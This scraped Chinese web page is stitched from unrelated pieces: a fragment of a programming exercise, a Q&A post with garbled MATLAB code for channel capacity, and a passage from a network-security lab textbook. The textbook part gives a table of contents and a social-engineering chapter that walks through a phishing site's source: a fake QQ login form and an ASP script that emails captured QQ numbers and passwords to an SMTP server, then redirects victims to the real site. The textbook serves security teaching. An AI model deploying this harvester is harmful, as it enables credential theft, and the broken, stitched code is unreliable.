用*号输出单词 要求: 输入输出要求怎么写任一单词,用5×5的'*'号矩阵打印. 例如,输入输出要求怎么写"hello",

急求信道容量matlab编程代码!!已知一个信道的信道转移矩阵为 p用Matlab编写函数求信道容量._百度知道
急求信道容量matlab编程代码!!已知一个信道的信道转移矩阵为 p用Matlab编写函数求信道容量.
已知一个信道的信道转移矩阵为 p,p为一个两行三列矩阵
我有更好的答案
%亲自验证,绝对可用!% Matlab实现离散信道容量的迭代算法% 功能:利用迭代算法计算离散信道的容量%参数解释%C:信道容量%P:转移概率矩阵%B:中间变量矩阵%e: 信道容限,一般选0.00001%X:输入概率分布%n:迭代次数function channel_cap(P, e)n=0;C=0;C_0=0;C_1=0;[r,s]=size(P);for i=1:r
if(sum(P(i,:))~=1)%检测概率转移矩阵是否行和为1.
error('概率转移矩阵输入有误!!')
if(P(i,j)&0||P(i,j)&1)%检测概率转移矩阵是否负值或大于1
error('概率转移矩阵输入有误!!')
endX=ones(1,r)/r;A=zeros(1,r);B=zeros(r,s);while(1)
B(i,j)=log(P(i,j)/(X*P(:,j))+eps);
A(1,i)=exp(P(i,:)*B(i,:)');
C_0=log2(X*A');
C_1=log2(max(A));
if (abs(C_0-C_1)&e) %满足迭代终止条件停止迭代
fprintf('迭代次数: n=%d\n',n)
fprintf('信道容量: C=%f比特/符号\n',C)
%满足后输出结果并退出
X=(X.*A)/(X*A');
采纳率:25%
这个东西自己写
为您推荐:
其他类似问题
信道容量的相关知识
换一换
回答问题,赢新手礼包
个人、企业类
违法有害信息,请在下方选择后提交
色情、暴力
我们会通过消息、邮箱等方式尽快将举报结果通知您。当前位置: >>
中软吉大网络信息安全综合实验系统v3.5(原理篇)
信息安全实验系列之网络信息安全综合实验教程Composite Experimental System of Network and Information Security(原理篇)I 目录第 1 部分 社会工程学.......................................................1 实验 1 敏感信息搜集 .......................................................2 练习一 敏感信息搜集 ................................................... 2 实验 2 钓鱼式攻击手法 .....................................................4 练习一 钓鱼式攻击手法 ................................................. 4 实验 3 密码心理学攻击 .....................................................9 练习一 密码心理学攻击 ................................................. 9 实验 4 安全细节问题 ...................................................... 14 练习一 安全细节问题 .................................................. 14 第 2 部分 密码学及应用 .................................................... 20 实验 1 古典密码算法 ...................................................... 21 练习一 Caesar 密码 ................................................... 21 练习二 单表置换密码 .................................................. 22 练习三 仿射密码 ...................................................... 23 练习四 维吉尼亚密码 .................................................. 24 实验 2 对称密码算法 ..................................................... 26 练习一 DES 算法 ...................................................... 26 练习二 3DES 加密算法 ................................................. 36 练习三 AES 算法 ...................................................... 37 练习四 IDEA 算法 ..................................................... 46 练习五 RC4 算法 ...................................................... 50II 练习六 SMS4 加密算法 ................................................. 51 实验 3 非对称密码算法 .................................................... 53 练习一 RSA 算法 ...................................................... 53 练习二 ELGamal 算法 .................................................. 56 练习三 DSA 签名算法 .................................................. 56 练习四 大整数运算 .................................................... 58 练习五 ECC 签名算法 .................................................. 59 实验 4 Hash 算法 ......................................................... 61练习一 MD5 算法 ...................................................... 61 练习二 SHA1 算法 ..................................................... 67 实验 5 密码应用 .......................................................... 71 练习一 文件安全传输 .................................................. 71 练习二 PGP 应用 ...................................................... 72 练习三 加密编程(一) ................................................ 74 练习四 加密编程(二) ................................................ 74 练习五 基于 USBKey 的软件授权编程 ..................................... 75 实验 6 PKI 技术 .......................................................... 76练习一 证书应用 ...................................................... 76 练习二 证书管理 ...................................................... 80 练习三 信任模型 ...................................................... 81 练习四 PKI 应用 ...................................................... 84 练习四 PMI 应用 ...................................................... 86 实验 7 信息隐藏 .......................................................... 89 练习一 信息隐藏位图法 ................................................ 89 练习二 LSB 水印算法 .................................................. 93 练习三 DCT 水印算法 .................................................. 95 练习四 主动水印攻击 .................................................. 96 第 3 部分 主机安全....................................................... 101 实验 1 系统安全 ......................................................... 102III 练习一 Windows2003 系统安全.......................................... 102 任务一 用户权限管理 ............................................. 102 任务二 审核策略设置 ............................................. 104 任务三 注册表安全设置 ........................................... 105 任务四 TCP/IP 筛选............................................... 107 任务五 主机安全加固 ............................................. 107 练习二 Linux FC5 系统安全............................................ 112 任务一 权限模型 ................................................. 112 任务二 安全访问 ................................................. 121 任务三 SELinux .................................................. 126 任务四 安全审计 ................................................. 130 任务五 配置 Linux 系统进行主动防御 ............................... 134 练习三 主机审计 ..................................................... 135 实验 2 口令安全 ......................................................... 136 练习一 Windows 口令破解.............................................. 136 练习二 Linux 口令破解 ............................................... 137 实验 3 Web 安全 ......................................................... 140练习一 Web 脚本攻击 ................................................. 140 任务一 认识 XSS ................................................. 140 任务二 盗取 Cookie............................................... 144 任务三 脚本攻击 ................................................. 144 任务四 DOM-Based XSS 挖掘........................................ 144 练习二 Web 服务器安全设置............................................ 144 任务一 IIS 安全设置.............................................. 144 任务二 Apache 安全设置........................................... 146 练习三 FTP 安全配置实验.............................................. 153 练习四 日志审计 ..................................................... 155 练习五 网络事件审计 ................................................. 162 实验 4 数据库安全 ....................................................... 174 练习一 SQL 注入 ..................................................... 174IV 练习二 防范 SQL 注入 ................................................. 181 练习三 SQL Server 安全............................................... 185 任务一 SQL Server 2000 数据库安全配置 ............................ 185 任务二 SQL Server 2000 数据库备份与恢复 .......................... 186 练习四 Mysql 数据库安全.............................................. 189 任务一 MySQL 数据库安全配置...................................... 189 任务二 MySQL 数据库备份与恢复 .................................... 189 实验 5 软件安全 ......................................................... 192 练习一 软件漏洞利用 ................................................. 192 实验 6 协议脆弱性分析 ................................................... 195 练习一 SNMP 协议脆弱性分析........................................... 195 实验 7 安全协议 ......................................................... 206 练习一 IPSec―IP 安全协议............................................ 206 练习二 SSL―安全套接层协议 .......................................... 212 练习三 Kerberos―安全认证协议 ....................................... 222 第 4 部分 网络攻防....................................................... 236 实验 1 信息搜集 ......................................................... 237 练习一 信息搜集 ..................................................... 237 练习二 主机发现 ..................................................... 240 任务一 ARP 主机发现.............................................. 240 任务二 NetBIOS 主机发现.......................................... 244 练习三 端口扫描 ..................................................... 245 任务一 TCP 端口扫描.............................................. 245 任务二 UDP 端口扫描.............................................. 252 实验 2 漏洞扫描 ......................................................... 254 练习一 综合扫描与安全评估 ........................................... 254 练习二 模拟攻击方法 ................................................. 255 练习三 Web 漏洞扫描器 ............................................... 261 练习四 FTP 弱口令扫描器.............................................. 262V 实验 3 网络嗅探 ......................................................... 266 练习一 明文嗅探 ..................................................... 266 练习二 原始套接字嗅探器 ............................................. 268 练习三 Winpcap 嗅探器 ............................................... 272 练习四 Wireshark 工具的使用与 TCP 数据包分析 .......................... 279 练习五 使用微软网络监视器来嗅探 FTP 会话 ............................. 281 实验 4 缓冲区溢出 ....................................................... 283 练习一 缓冲区溢出攻击 ............................................... 283 练习二 本地缓冲区溢出 ............................................... 285 任务一 利用跳转指令实现缓冲区溢出 ............................... 285 任务二 定位参数地址实现缓冲区溢出 ............................... 289 练习三 远程溢出与后门植入 ........................................... 291 练习四 DNS 溢出实验 ................................................. 293 实验 5 拒绝服务攻击 ..................................................... 296 练习一 洪泛攻击 ..................................................... 296 练习二 DDos 攻击 .................................................... 297 练习三 Smurf 攻击 ................................................... 299 实验 6 欺骗攻击 ......................................................... 301 练习一 ARP 欺骗 ..................................................... 301 练习二 ICMP 重定向 .................................................. 303 实验 7 网络后门 ......................................................... 307 练习一 Shell 后门 ................................................... 307 练习二 无端口后门 ................................................... 309 练习三 后门启动技术 ................................................. 310 任务一 Windows 自启动技术........................................ 310 任务二 Linux 自启动技术.......................................... 314 练习四 后门监听程序设计 ............................................. 316 练习五 后门驻留程序设计 ............................................. 317 实验 8 特洛伊木马 ....................................................... 318VI 练习一 网页木马 ..................................................... 318 任务一 木马生成、植入与功能 ..................................... 318 任务二 木马删除 ................................................. 322 练习二 Webshell ..................................................... 322 练习三 ARP 木马与 ARP 防火墙.......................................... 326 练习四 木马捆绑与隐藏 ............................................... 328 练习五 木马免杀 ..................................................... 329 实验 9 防火墙 ........................................................... 333 练习一 Windows2003 防火墙应用........................................ 333 练习二 iptables 应用 ................................................ 337 任务一 iptables 包过滤........................................... 337 任务二 iptables 事件审计与状态审计 ............................... 341 任务三 iptables NAT 转换......................................... 341 任务四 iptables 应用代理......................................... 344 实验 10 入侵检测 ........................................................ 350 练习一 基于网络入侵检测系统 ......................................... 350 任务一 数据包嗅探、记录与简单报警 ............................... 350 任务二 字符串匹配与端口扫面攻击 ................................. 355 任务三 IP 分片重组检测........................................... 355 任务四 误报漏报分析 ............................................. 355 练习二 NIDS 与防火墙联动............................................. 357 任务一 利用 Guardian 实现 snort 与 iptables 联动 ................... 357 任务二 利用 SnortSam 插件实现 snort 与 iptables 联动 ............... 357 练习三 NIDS 开发 .................................................... 358 任务一 开发实现 TCP 数据流重组 ................................... 358 任务二 开发实现 TCP 端口扫面检测 ................................. 365 任务三 开发实现特征匹配的 NIDS ................................... 368 任务四 开发实现 NIDS 与防火墙联动 ................................ 369 练习四 自建实用 IDS ................................................. 370 练习五 主机入侵检测 ................................................. 375VII 练习六 入侵防护 ..................................................... 376 实验 11 VPN ............................................................. 377练习一 利用 IPSec 构建企业 VPN........................................ 377 练习二 利用 PPTP 构建企业 VPN......................................... 382 练习三 利用 OpenVPN 构建企业 VPN...................................... 386 任务一 使用 Linux 服务器构建企业 VPN .............................. 386 任务二 使用 Windows 服务器构建企业 VPN ............................ 389 练习四 利用 SSL 构建企业 VPN.......................................... 389 实验 12 蜜罐蜜网 ........................................................ 392 练习一 蜜罐引入 ..................................................... 392 练习二 DMZ 区部署蜜罐 ............................................... 394 练习三 局域网络部署蜜罐 ............................................. 398 练习四 自制蜜罐 ..................................................... 404 练习五 蜜网仿真 ..................................................... 408 任务一 仿真单台路由器的网络 ..................................... 408 任务二 仿真多台路由器的网络 ..................................... 411 任务三 仿真网络宽带、延迟及网络丢包 ............................. 411 任务四 仿真多入口路由 ........................................... 411 练习六 部署蜜网 ..................................................... 411 第 5 部分 病毒攻防....................................................... 412 实验 1 引导区病毒 ....................................................... 413 练习一 DOS 引导区病毒 ............................................... 413 实验 2 文件型病毒 ....................................................... 416 练习一 PE 病毒 ...................................................... 416 练习二 DLL 注入型病毒 ............................................... 432 练习三 COM 病毒 ..................................................... 432 实验 3 宏病毒 ........................................................... 441 练习一 Word 宏病毒 .................................................. 441 实验 4 脚本病毒 ......................................................... 448VIII 练习一 Java 脚本病毒 ................................................ 448 练习二 VB 脚本病毒 .................................................. 452 练习三 Linux 恶意脚本 ............................................... 456 练习四 批处理脚本 ................................................... 456 实验 5 邮件型病毒 ....................................................... 457 练习一 Outlook 邮件病毒.............................................. 457 实验 6 蠕虫病毒 ......................................................... 459 练习一 蠕虫仿真 ..................................................... 459 实验 7 病毒行为分析 ..................................................... 462 练习一 病毒行为分析 ................................................. 462 练习二 Linux 反病毒 ................................................. 466 第 6 部分 容灾备份....................................................... 467 实验 1 文件恢复 ......................................................... 468 练习一 FAT32 文件恢复 ............................................... 468 练习二 Ext2 文件恢复 ................................................ 476 实验 2 RAID 磁盘阵列..................................................... 479练习一 RAID 基础 .................................................... 479 练习二 RAID 应用 .................................................... 484 实验 3 热备份 ........................................................... 487 练习一 双机热备 ..................................................... 487 第 7 部分 无线安全....................................................... 493 实验 1 Wi-Fi 基础应用.................................................... 494练习一 WLAN 通信 .................................................... 494 练习二 AP 安全措施 .................................................. 500 实验 2 Wi-Fi 安全方案.................................................... 506练习一 WEP 安全模式 ................................................. 506 第 8 部分 身份验证....................................................... 514 实验 1 面部识别 ......................................................... 515IX 练习一 面部识别检测 ................................................. 515 练习二 面部识别登录系统 ............................................. 520 实验 2 动态令牌应用 ..................................................... 523X 第 1 部分社会工程学著名黑客 KevinMitnick 在上世纪 90 年代让“黑客社会工程学”这个术语流行了起 来,不过这个简单的概念本身(引诱某人去做某事,或者泄露敏感信息)却早有年头了。 专家们认为,如今的黑客仍在继续采用黑客社会工程学的新老伎俩盗窃密码、安装恶意软 件或者攫取利益。1 实验 1敏感信息搜集作为入侵的第一步,敏感信息搜集已经越来越受到黑客的重视。很多表面上看起来一 点用都没有的信息,都会被社会工程学者利用起来进行渗透,熟练的社会工程学使用者都 擅长进行信息收集。而目前人们对信息保密的概念还知之甚少,人们会认为自己的电脑安 全和公布自己的喜好、 资料、 习惯信息能有什么关系呢?可这恰恰是他们被攻击的切入点。练习一一. 什么是社会工程学敏感信息搜集著名黑客 KevinMitnick 在上世纪 90 年代让 “黑客社会工程学” 这个术语流行了起来, 不过这个简单的概念本身(引诱某人去做某事,或者泄露敏感信息)却早有年头了。专家 们认为,如今的黑客仍在继续采用黑客社会工程学的新老伎俩盗窃密码、安装恶意软件或 者攫取利益。 社会工程学(SocialEngineering),一种通过对受害者心理弱点、本能反应、好奇心、 信任、贪婪等心理陷阱进行诸如欺骗、伤害等危害手段,取得自身利益的手法。它并不能 等同于一般的欺骗手法,社会工程学尤其复杂,即使自认为最警惕最小心的人,一样可能 会被高明的社会工程学手段损害利益。 二. 社会工程学攻击的特点 社会工程学通常是利用大众对陌生人疏于防范和容易轻信他人的特点,施展诡计让受 害者掉入陷阱。该技巧通常以交谈、欺骗、假冒或口语用字等方式,从合法用户中套取敏 感的信息,例如:用户名单、用户密码及网络结构,即使很警惕很小心的人,一样也有可 能被高明的社会工程学手段损害利益,可以说是防不胜防。网络安全是一个整体,对于某 个目标在久攻不下的情况下,黑客会把矛头指向目标的系统管理员,因为人在这个整体中 往往是最不安全的因素,黑客通过搜索引擎对系统管理员的一些个人信息进行搜索,比如 电子邮件地址、MSN、QQ 等关键词,分析出这些系统管理员的个人爱好,常去的网站、论 坛,甚至个人的真实信息。然后利用掌握的信息与系统管理员拉关系套近乎,骗取对方的 信任, 使其一步步落入黑客设计好的圈套, 最终造成系统被入侵。 这也就是我们常说的 “没 有绝对的安全,只有相对的安全,只有时刻保持警惕,才能换来网络的安宁” 。2 实验 1敏感信息搜集熟练的社会工程学使用者都擅长进行信息收集,很多表面上看起来一点用都没有的信 息都会被这些人利用起来进行渗透。比如说一个电话号码,一个人的名字,或者工作 ID 的号码,都可能被利用起来。举个例子,比如说一个社会工程学使用者想从一家信用卡公 司获取一些情报,但是又没有相关的证明证明他可以合法的从这家公司拿到这些情报。这 时候,他就可以利用社会工程学,从和这家信用卡公司相关的银行收集相关的信息从而达 到他的目的。比如说冒充这家银行从信用卡公司取得信息,例如文件或者 ID 号码证明之类, 又或者是经常与信用卡公司进行业务联系的职员的姓名等等。现在的很多公司为了方便和 快捷,在一些服务上会采用电话服务,这样就更容易让这些攻击者有机可乘,只需提供从 银行获得的相关资料,信用卡公司就会把一些敏感的信息给予攻击者。 三. 如何保护个人敏感信息 (1) 在上网的时候要有自我保护意识,如果出现一些不熟悉、不知名的网站,最好不 要进入,因为这些网站中往往就隐藏着陷阱。事实上,当您上网浏览的时候,尤其是需要 发送某些包含个人隐私信息的时候,很容易在所经过的网络上留下自己的踪迹,如果这些 蛛丝马迹不幸被黑客截获并加以利用,后果可想而知。尤其是现在,电子商务蓬勃发展, 在一些商务网站购物时, 有时需要注册成为某些网站的会员, 这时就存在隐私保护的问题, 有些不必要填写的隐私最好不要写。不少网迷在电子银行开设了账户,有了自己的电子钱 包,上网时就更要小心谨慎了。 (2) 要经常清理浏览器缓存,浏览器的缓存中会保留许多我们的上网记录,时常清理 它们有助于保护个人资料。 (3) 设置受限站点。有一些黑客站点,会恶意窃取用户信息,在充分了解了这类网站 基本信息的情况下,如果想防止自己及家人不小心撞到这类网里时被“套牢” ,可以把这些 网站列到浏览器的“黑名单”里,使浏览器能够自动拒绝这些网站发出的某些对用户不利 的指令。 (4) 对一些陌生邮件也要提防。如果在邮箱里发现了可疑的邮件,一定不要打开,特 别是不要登录邮件中提供的不明网站,以免“中毒” 。3 实验 2钓鱼式攻击手法从社会工程学的角度来说,往往由于用户的疏忽大意,不小心访问了错误的网站,而 该网站的页面与正常网站并无差别,用户在输入个人私密信息后,用户的敏感信息便被非 法的窃取了,这种形式的攻击手法就是钓鱼式攻击手法,而这样的网站就是一个典型的钓 鱼网站。钓鱼网站一般仅在域名上与正常网站非常相似,因此用户可以通过仔细观察域名 来识别钓鱼网站。练习一一. 什么是钓鱼网站钓鱼式攻击手法网络钓鱼是通过大量发送声称来自于银行或其他知名机构的欺骗性垃圾邮件,意图引 诱收信人给出敏感信息(如用户名、口令、帐号 ID、ATMPIN 码或信用卡详细信息)的一种 攻击方式。最典型的网络钓鱼攻击将收信人引诱到一个通过精心设计与目标组织的网站非 常相似的钓鱼网站上,并获取收信人在此网站上输入的个人敏感信息,通常这个攻击过程 不会让受害者警觉。这些个人信息对黑客们具有非常大的吸引力,因为这些信息使得他们 可以假冒受害者进行欺诈性金融交易,从而获得经济利益。受害者经常遭受严重的经济损 失或个人信息被窃取。 钓鱼网站通常伪装成为银行网站,窃取访问者提交的账号和密码信息。它一般通过电 子邮件传播,此类邮件中包含一个经过伪装的链接,该链接将收件人链接到钓鱼网站。钓 鱼网站的页面与真实网站界面完全一致,要求访问者提交账号和密码。一般来说钓鱼网站 结构很简单,只是一个或几个页面,URL 和真实网站有细微差别,如真实的工行网站为 ww w.icbc.com.cn,针对工行的钓鱼网站则可能为 www.1cbc.com.cn。 二. 钓鱼网站的防范措施 1. 启用专用域名 现在的网址有好几种,www.xxx.com 是一个商业性网站,而 www.xxx.gov 是政府网站, www.xxx.org 则是非政府组织网站。域名不同,代表的意思也不同。因此可以借鉴政府网 站有专用域名做法,为网上银行设置专用域名。这种作法虽然从根本上无法杜绝钓鱼网站 的存在,但确实在很大程度上打击了假冒的网银网站。 2. 规范搜索引擎 在网银安全问题上,银行惟一能采取的办法就是投入大量的人力物力,不间断地在网4 实验 2钓鱼式攻击手法上通过人工或是自动搜索同自己域名类似的假冒网站、网络实名,甚至必须介入电子邮件 搜索是否有人假借银行名义行欺骗之实, 即使是几个银行联合起来打假, 平摊的只是成本, 技术始终是个难题。因此可以规范搜索引擎,从搜索引擎层面上来干预与网上银行域名类 似的网站。 3. 银行数字证书 银行可以通过使用银行证书的方式来验明网上银行的正身,只有拥有正确的证书才能 证明该网站是正确的网上银行而不是钓鱼网站。 4. 客户安全使用网银 (1) 避免使用搜索引擎 从正规银行网点取得网络银行网址并牢记,登录网银时尽量避免使用搜索引擎或网络 实名,以免混淆视听。 (2) 设置混合密码、双密码 密码设置应避免与个人资料相关,建议选用数字、字母混合密码,提高密码破解难度 并妥善保管,交易密码尽量与信用卡密码不同。 (3) 定期查看交易记录 定期查看网银办理的转帐和支付等业务记录,或通过短信定制账户变动通知,随时掌 握账户变动情况。 (4) 妥善保管数字证书 避免在公用计算机上使用网银,以防数字证书等机密资料落入他人之手。 (5) 警惕电子邮件链接 网上银行一般不会通过电子邮件发出“系统维护、升级”提示,若遇重大事件,系统 必须暂停服务,银行会提前公告顾客。一旦发现资料被盗,应立即修改相关交易密码或进 行银行卡挂失。 三. 钓鱼网站的关键源码分析 钓鱼网站的位置:“D:\ExpNIC\SocEng\Web\Fishing\钓鱼网站\qqqet” ,用 UltraEdi t-32 可查看或编辑源码。 钓鱼网站构造比较简单,主要组成部分其实就是两个文件 index.htm,steal.asp。i ndex.htm 为钓鱼网站的前台表现页面,steal.asp 为钓鱼网站的后台控制程序。具体分析 一下这两个文件。 1. index.htm 文件 用户使用域名“www.qqqet.qq.com”登录钓鱼网站后,进入的页面就是 index.htm, 该页是钓鱼网站的表现页面,其主要完成表单提交,用户信息是否为空的验证,验证用户 信息不为空的话,就将用户输入的信息传入 steal.asp。页面源码中很多都是为页面的表 现形式,表现效果服务的,这些源码不做分析。下面分析一下关键代码:&FORMname=form1onsubmit=&returncheckinput()&action=steal.aspmethod=post&上行代码解析: (1) “name”是表单的名称,这里给该表单命名为“form1” 。5 第 1 部分 社会工程学(2) “onsubmit=&returncheckinput()& ”是提交表单之前执行的方法,在下一大段 代码中会具体介绍 checkinput()方法。 (3) “action=steal.asp”是提交表单后跳转的文件,这里是跳转到 steal.asp。 (4) “method=post”是表单提交方法,该方法有两种,一种是 post,一种是 get。p ost 是隐含参数提交,就是提交的时候 url 中不显示用户名,密码信息。get 是显示参数提 交,就是提交的时候 url 中显示用户名,密码信息。&TDalign=middlewidth=95&&IMGheight=18src=&image/s39.gif&width=63&&/TD& &TDwidth=81&&INPUTstyle=&BORDER-RIGHT:#1da3d81BORDER-TOP:#1da3d81FONT-SIZE: 12BORDER-LEFT:#1da3d81BORDER-BOTTOM:#1da3d81pxsolid&type=textmaxLength=10size=1 6name=u&&/TD&上段代码大部分都是效果和表现形式,关键的部分用粗体字代替。这段代码是建立一 个文本输入框, “type=text”是给输入框的类型定义为文本形式, “name=u”是将文本输入 框的名称定义为“u”,“u.value”就是文本框输入的内容。&TDalign=middlewidth=81&&IMGheight=18src=&image/s40.gif&width=63&&/TD& &TDwidth=81&&INPUTstyle=&BORDER-RIGHT:#1da3d81BORDER-TOP:#1da3d81FONT-SIZE: 12BORDER-LEFT:#1da3d81BORDER-BOTTOM:#1da3d81pxsolid&type=passwordmaxLength=16si ze=16name=p&&/TD&上段代码是建立一个密码输入框, “type=password”是给输入框定义为密码形式, “n ame=p”是将密码输入框的名称定义为“p”,“p.value”就是密码框输入的内容。&TDalign=leftwidth=70&&INPUTtype=imageheight=29alt= 登录 width=62src=&image/s42.gif&border=0&&/TD&上段代码的意思是建立一个登录的按钮,用于提交用户信息的。 表单部分的代码中提到“onsubmit=&returncheckinput()&” ,它的意思是调用下面这 段代码。functioncheckinput() { if(document.form1.u.value==&&) { alert(&您还没有输入 QQ 号码&); document.form1.u.focus(); } if(document.form1.p.value==&&) { alert(&您还没有输入 QQ 密码&); document.form1.p.focus(); } }上段代码解析: (1) “if(document.form1.u.value==&&)”if 条件判断, “document.form1.u.value” 是取得文本框中内容,也就是 QQ 号码,对它进行判断,判断它的内容是不是空值,如果是6 实验 2钓鱼式攻击手法空值,就执行下面{}中的内容。 (2) “alert(&您还没有输入 QQ 号码&)”alert 是弹出对话框,对话框的内容是“您 还没有输入 QQ 号码” 。 (3) “document.form1.u.focus()”将鼠标焦点定位到文本框的位置。 (4) “returnfalse”返回值是“false” ,即不提交表单内容,返回“index.htm” 。 2. steal.asp 文件 用户提交表单后, 将用户信息传入 steal.asp 中, 在 steal.asp 中进行业务逻辑处理。 具体处理的内容:将用户信息以邮件的形式发送到指定邮箱,弹出误导对话框,引导 到正常网站。关键代码解析:&%@LANGUAGE=&VBSCRIPT&CODEPAGE=&936&%& &% u=request.form(&u&) p=request.form(&p&) %&上段代码解析:代码中引用 VBScript 脚本语言, “u=request.form(&u&)”在该页取 得表单提交的文本框内容,即 QQ 号码,定义为“u” , “p=request.form(&p&)”在该页取得 表单提交的密码框内容,即 QQ 密码,定义为“p” 。 下面这段代码是引用 vbs 脚本,功能是负责发送邮件(将用户输入的内容,以邮件的 形式发送到指定邮箱)。&% NameSpace=&http://schemas.microsoft.com/cdo/configuration/& SetEmail=CreateObject(&CDO.Message&) Email.From=&Lab& Email.To=&Lab& Email.Subject=&usernameandpassword& Email.Textbody=&username:&&u&&&&&password:&&p WithEmail.Configuration.Fields .Item(NameSpace&&sendusing&)=2 .Item(NameSpace&&smtpserver&)=&172.16.0.254& .Item(NameSpace&&smtpserverport&)=25 .Item(NameSpace&&smtpauthenticate&)=0 ' .Item(NameSpace&&sendusername&)=&any& ' .Item(NameSpace&&sendpassword&)=&any& .Update EndWith Email.Send %&上段关键代码解析: (1) “NameSpace=&http://schemas.microsoft.com/cdo/configuration/&”定义 Na meSpace 命名空间。 (2) “SetEmail=CreateObject(&CDO.Message&)”开启邮件服务。 (3) “Email.From=&Lab&”邮件发送方的邮箱。 (4) “Email.To=&Lab&”邮件接收方的邮箱。7 第 1 部分 社会工程学(5) “Email.Subject=&usernameandpassword&”发送邮件的主题。 (6) “Email.Textbody=&username:&&u&&&&&password:&&p”发送邮件的具体内容, 即 username:“用户的 QQ 号码” ,password:“用户的 QQ 密码” 。 (7) “Item(NameSpace&&smtpserver&)=&172.16.0.254&”接收邮件的服务器。 (8) “Item(NameSpace&&smtpauthenticate&)=0”设置邮件发送者是否为匿名用户发 送,设置为 0 则为匿名用户发送,若设置为 0 则不用设置“Email.From”的邮箱(发送者的 邮箱)。设置为 1 则为真实存在的用户发送,发送者的邮箱,邮箱的用户名,密码必须是真 实存在的,即“Email.From” , “Item(NameSpace&&sendusername&)” , “Item(NameSpace&& sendpassword&)=&any&”必须设置真实存在的邮箱名,邮箱用户名,邮箱密码。此处作为 攻击用,必须设置为 0。 (9) “Item(NameSpace&&sendusername&)=&any&”邮件发送者的邮箱用户名,因为“I tem(NameSpace&&smtpauthenticate&)”设置为 0,所以这句脚本没用到,用'注释掉了。 (10)“Update”将上面设置的内容在程序执行的时候更新确认。 (11)“Email.Send”邮件发送出去。 下面的代码主要是欺骗误登录钓鱼网站的用户,将用户引导到正常网站。&html& &head& &title&&/title& &/head& &body& &center& &scriptlanguage=&javascript&& alert(&用户名或密码输入错误!&) &/script& &scriptLANGUAGE=&JavaScript&& window.location=&http://www.qqpet.qq.com&; &/script& &/center& &/body& &/html&上段代码很多处都是 html 标签,用于网页显示。关键代码是 javascript 部分,解析 如下: (1) “alert(&用户名或密码输入错误!&)”弹出提示对话框,对话框内容是“用户名 或密码输入错误! ” 。 (2) “window.location=&http://www.qqpet.qq.com&;”将用户引导到正常网站,用 的是 javascript 中 window.location 方法。用法就是 window.location=“要跳转到的地 址(域名或 ip 地址) ” 。 钓鱼网站关键的源码分析完毕,正常网站的源码只有一个 index.htm 文件,和钓鱼网 站中的 index.htm 文件类似,不做具体分析。8 实验 3密码心理学攻击很多著名的黑客破解密码并非用的什么尖端的技术,而只是用到了密码心理学,从用 户的心理入手,从细微入手分析用户的信息,分析用户的设置密码习惯,从而更快的破解 出密码。密码心理学如果掌握的好,可以非常快速破解获得用户信息。而对于用户来说, 分析黑客猜解密码的切入方法, 从而提高密码的强壮性是学习密码心理学攻击的关键所在。练习一一. 什么是密码心理学密码心理学攻击密码心理学就是从用户的心理入手,分析对方心理,从而更快的破解出密码。掌握好 密码心理学可以缩短破解时间,快速获得用户信息。 密码心理学的研究者做过一个实验,实验是这样设计的:随机抽取 100 名大学生,让 他们每人写下两个单词,并且告诉他们,这两个单词将用作重要系统的管理员密码,请慎 重选择。 这个实验的结果令人相当吃惊:37 人使用了自己的中文姓名全拼或者简拼;23 人使 用了常用的英文单词如 hello, good 等; 18 人选择了计算机中常用的单词如 system, admin, administrator 等;7 人使用了自己的生日如
等。这项实验的 目的就是为了查看一般计算机用户在选择重要密码时的心理状态,按照用户选择密码的依 据,我们不妨将这些依据分类,每一类称为一个密码特征,那么一个密码就是由一个或者 多个密码特征组合而成的。 密码本身的保密性是来源于其随机性,整个密码的被猜中概率(P)是多个密码特征概 率的乘积,只有所有密码特征概率(Pi|i=1,2,3,??n)都处在一个较低的水平上时,整 个密码才是安全的。可以用公式表达成: P(c)=P1×P2×P3×??×Pn 我们还可以看出,当特征数量增多时(即 n 比较大),密码的安全性也较高。 然而实验结果显示出了某些心理状态的高概率分布――姓名被选中的概率高达 37%, 简单英语被选中的概率高达 23%。 这意味着一个采用操作员姓名拼音做密码的计算机有 37% 的概率被攻破,这样的密码基本上已经完全丧失功能了。 二. 密码特征分析 我们常用的一些密码特征分析如下: 1. 姓名特征9 第 1 部分 社会工程学非常不赞成使用,无论是拼音全拼简拼还是英文名,都具有十分高的被猜中概率,非 常不安全。 2. 数字特征 这些特征包括生日、电话、员工号码、门牌号码等。纯粹的数字密码假设有 N 位,那 么每位的独立被猜中概率为 1/10,密码整体完全被随机猜中的概率为 1/(10 );而我们如 果采用了字母和数字混合的方式构造 N 位密码,则它的完全被随机猜中的概率降为 1/(62 ),当 N&4 时,两者的概率相差将非常大。 3. 长度特征 长度是另外一个关键特征,过短的密码会很容易被暴力破解(穷举)。0 位的密码会 使大部分人成为入侵者,也会让一些人自豪的自称为“黑客”,并在别人桌面上留下一份 “黑客声明”。一般来讲,应用于关键计算机系统的 8 位以下的密码都是不推荐的。当然 过长的密码可能不便记忆也不便输入, 一般很少见到有人使用一个包含 256 个字符的密码。 4. 密码关联概率 所谓密码关联概率,是指同一个系统管理员在不同应用场所所使用的密码之间相同或 者具备某确定规律的概率。不幸的是,大部分人都使用了高度关联的密码。举例来说,一 个用户用“Hu73WQ0Oue31Nmvb4”作为自己计算机管理员密码 (很高兴的看到, 这个用户已 经采用了非常安全的密码),但是不幸的是他的疏忽造成了此密码被泄漏,更加不幸的是 他在网上银行、网上私人空间等均采用了相同密码――后果是可想而知的。另外一个例子 是某企业网络中有 100 台计算机,计算机 1 号的管理员密码是“admin001”,2 号计算机 的 密 码 则 是 “admin002” 。 依 据 这 两 条 信 息 , 弱 智 也 能 猜 到 3 号 计 算 机 的 密 码 是 “admin003”――遗憾的是,许许多多管理员的智力,并不比弱智好多少,原因居然是: 他们认为自己太聪明了! 5. 用户名特征 用户名与密码配对使用,然而这里也有大量玄机。此特征中被猜中概率最高的行为, 就是采用了与用户名一样的密码。那么用户帐号“admin”使用“adminpassword”做密码 安全吗?我告诉你,它的安全性仅仅比采用“password”做密码好一点点。此外,本文开 头所描述的案例中还暴露了一个问题,那就是计算机中应该只允许必须要用的帐户存在, 大部分人并不需要使用系统默认的“Administrator”或者“guest”登录,那么就应该删 除此帐号。 6. 有效期特征 许多人懒于定期修改密码,这样,一个儿时的玩伴可能在你 80 岁的时候窃取你银行 中的所有养老金,而你却不知道何人所为。有效期特征是所有特征中非常有趣的一个,它 拥有一个时间参数――随着当前密码应用时间的增加,此特征被猜中的概率也在增加。增 加的原因可能来自于越来越多的个人信息、习惯被黑客所掌握;也可能是有一台超级计算 机正在用穷举法破解你的密码,并预计在一个月后得到结果;也可能是一个黑客早已得到 